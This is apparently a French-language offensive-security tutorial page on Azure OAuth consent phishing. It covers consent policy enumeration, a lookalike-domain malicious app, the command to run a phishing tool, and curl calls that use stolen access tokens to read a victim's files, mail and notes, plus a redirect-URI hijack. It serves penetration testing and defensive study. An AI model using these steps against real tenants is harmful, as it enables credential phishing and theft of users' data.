Az - OAuth Apps Phishing

Reading time: 9 minutes

Phishing d'applications OAuth

Les applications Azure sont configurées avec les autorisations qu'elles pourront utiliser lorsque l'utilisateur consent à l'application (comme énumérer le répertoire, accéder aux fichiers ou effectuer d'autres actions). Notez que l'application agira au nom de l'utilisateur, donc même si l'application peut demander des autorisations d'administration, si l'utilisateur qui consent n'a pas cette autorisation, l'application ne pourra pas effectuer d'actions administratives.

Autorisations de consentement des applications

Par défaut, tout utilisateur peut donner son consentement aux applications, bien que cela puisse être configuré pour que les utilisateurs ne puissent consentir qu'aux applications de publishers vérifiés pour des autorisations sélectionnées ou même supprimer l'autorisation pour que les utilisateurs consentent aux applications.

Si les utilisateurs ne peuvent pas consentir, des administrateurs comme GA, Application Administrator ou Cloud Application Administrator peuvent consentir aux applications que les utilisateurs pourront utiliser.

De plus, si les utilisateurs peuvent consentir uniquement aux applications utilisant des autorisations à faible risque, ces autorisations sont par défaut openid, profile, email, User.Read et offline_access, bien qu'il soit possible d'ajouter plus à cette liste.

Et s'ils peuvent consentir à toutes les applications, ils peuvent consentir à toutes les applications.

2 Types d'attaques

• Non authentifié : À partir d'un compte externe, créez une application avec les autorisations à faible risque User.Read et User.ReadBasic.All par exemple, hameçonnez un utilisateur, et vous pourrez accéder aux informations du répertoire.
• Cela nécessite que l'utilisateur hameçonné soit capable d'accepter des applications OAuth d'un locataire externe.
• Si l'utilisateur hameçonné est un administrateur qui peut consentir à n'importe quelle application avec n'importe quelles autorisations, l'application pourrait également demander des autorisations privilégiées.
• Authentifié : Ayant compromis un principal avec suffisamment de privilèges, créez une application à l'intérieur du compte et hameçonnez un utilisateur privilégié qui peut accepter des autorisations OAuth privilégiées.
• Dans ce cas, vous pouvez déjà accéder aux informations du répertoire, donc l'autorisation User.ReadBasic.All n'est plus intéressante.
• Vous êtes probablement intéressé par des autorisations qui nécessitent qu'un administrateur les accorde, car un utilisateur ordinaire ne peut pas donner d'autorisations aux applications OAuth, c'est pourquoi vous devez hameçonner uniquement ces utilisateurs (plus d'informations sur les rôles/permissions qui accordent ce privilège plus tard).

Les utilisateurs sont autorisés à consentir

Notez que vous devez exécuter cette commande à partir d'un utilisateur à l'intérieur du locataire, vous ne pouvez pas trouver cette configuration d'un locataire depuis un externe. Le cli suivant peut vous aider à comprendre les autorisations des utilisateurs :

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"

• Les utilisateurs peuvent consentir à toutes les applications : Si à l'intérieur de permissionGrantPoliciesAssigned vous pouvez trouver : ManagePermissionGrantsForSelf.microsoft-user-default-legacy alors les utilisateurs peuvent accepter chaque application.
• Les utilisateurs peuvent consentir aux applications de publishers vérifiés ou de votre organisation, mais seulement pour les permissions que vous sélectionnez : Si à l'intérieur de permissionGrantPoliciesAssigned vous pouvez trouver : ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team alors les utilisateurs peuvent accepter chaque application.
• Désactiver le consentement des utilisateurs : Si à l'intérieur de permissionGrantPoliciesAssigned vous ne pouvez trouver que : ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat et ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team alors les utilisateurs ne peuvent consentir à aucune.

Il est possible de trouver la signification de chacune des politiques commentées dans :

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Administrateurs d'application

Vérifiez les utilisateurs qui sont considérés comme des administrateurs d'application (peuvent accepter de nouvelles applications) :

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Aperçu du Flux d'Attaque

L'attaque implique plusieurs étapes ciblant une entreprise générique. Voici comment cela pourrait se dérouler :

1. Enregistrement de Domaine et Hébergement d'Application : L'attaquant enregistre un domaine ressemblant à un site de confiance, par exemple, "safedomainlogin.com". Sous ce domaine, un sous-domaine est créé (par exemple, "companyname.safedomainlogin.com") pour héberger une application conçue pour capturer des codes d'autorisation et demander des jetons d'accès.
2. Enregistrement de l'Application dans Azure AD : L'attaquant enregistre ensuite une Application Multi-Tenant dans son locataire Azure AD, la nommant d'après l'entreprise cible pour paraître légitime. Il configure l'URL de redirection de l'application pour pointer vers le sous-domaine hébergeant l'application malveillante.
3. Configuration des Autorisations : L'attaquant configure l'application avec diverses autorisations API (par exemple, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ces autorisations, une fois accordées par l'utilisateur, permettent à l'attaquant d'extraire des informations sensibles au nom de l'utilisateur.
4. Distribution de Liens Malveillants : L'attaquant crée un lien contenant l'identifiant client de l'application malveillante et le partage avec des utilisateurs ciblés, les trompant pour qu'ils accordent leur consentement.

Exemple d'Attaque

1. Enregistrez une nouvelle application. Elle peut être uniquement pour le répertoire actuel si vous utilisez un utilisateur du répertoire attaqué ou pour n'importe quel répertoire si c'est une attaque externe (comme dans l'image suivante).
2. Définissez également l'URI de redirection sur l'URL attendue où vous souhaitez recevoir le code pour obtenir des jetons (http://localhost:8000/callback par défaut).

2. Ensuite, créez un secret d'application :

3. Sélectionnez les autorisations API (par exemple, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)

4. Exécutez la page web (azure_oauth_phishing_example) qui demande les autorisations :

# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"

5. Envoyez l'URL à la victime
6. Dans ce cas http://localhost:8000
7. Les victimes doivent accepter l'invite :

7. Utilisez le jeton d'accès pour accéder aux autorisations demandées :

export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Autres Outils

• 365-Stealer: Consultez https://www.alteredsecurity.com/post/introduction-to-365-stealer pour apprendre à le configurer.
• O365-Attack-Toolkit

Post-Exploitation

Phishing Post-Exploitation

Selon les autorisations demandées, vous pourriez être en mesure de accéder à différentes données du locataire (liste des utilisateurs, groupes... ou même modifier des paramètres) et informations de l'utilisateur (fichiers, notes, e-mails...). Ensuite, vous pouvez utiliser ces autorisations pour effectuer ces actions.

Applications Admin Entra ID

Si vous parvenez à compromettre d'une manière ou d'une autre un principal Entra ID qui peut gérer des applications dans Entra ID, et qu'il y a des applications utilisées par les utilisateurs du locataire. Un administrateur pourrait modifier les autorisations demandées par l'application et ajouter une nouvelle adresse de redirection autorisée pour voler les jetons.

• Notez qu'il est possible d'ajouter des URI de redirection (pas besoin de supprimer la vraie) et ensuite d'envoyer un lien HTTP en utilisant l'URI de redirection de l'attaquant, de sorte que lorsque l'utilisateur suit le lien, l'authentification se produit automatiquement et l'attaquant reçoit le jeton.
• Il est également possible de changer les autorisations demandées par l'application afin d'obtenir plus d'autorisations des utilisateurs, mais dans ce cas, l'utilisateur devra accepter à nouveau l'invite (même s'il était déjà connecté).
• Pour effectuer cette attaque, l'attaquant N'A PAS BESOIN de contrôler le code de l'application, car il pourrait simplement envoyer le lien pour se connecter à l'application à l'utilisateur avec la nouvelle URL dans le paramètre redirect_uri.

Post-Exploitation de l'Application

Consultez les sections Applications et Principal de Service de la page :

Az - EntraID Privesc

Références

• https://www.alteredsecurity.com/post/introduction-to-365-stealer
• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/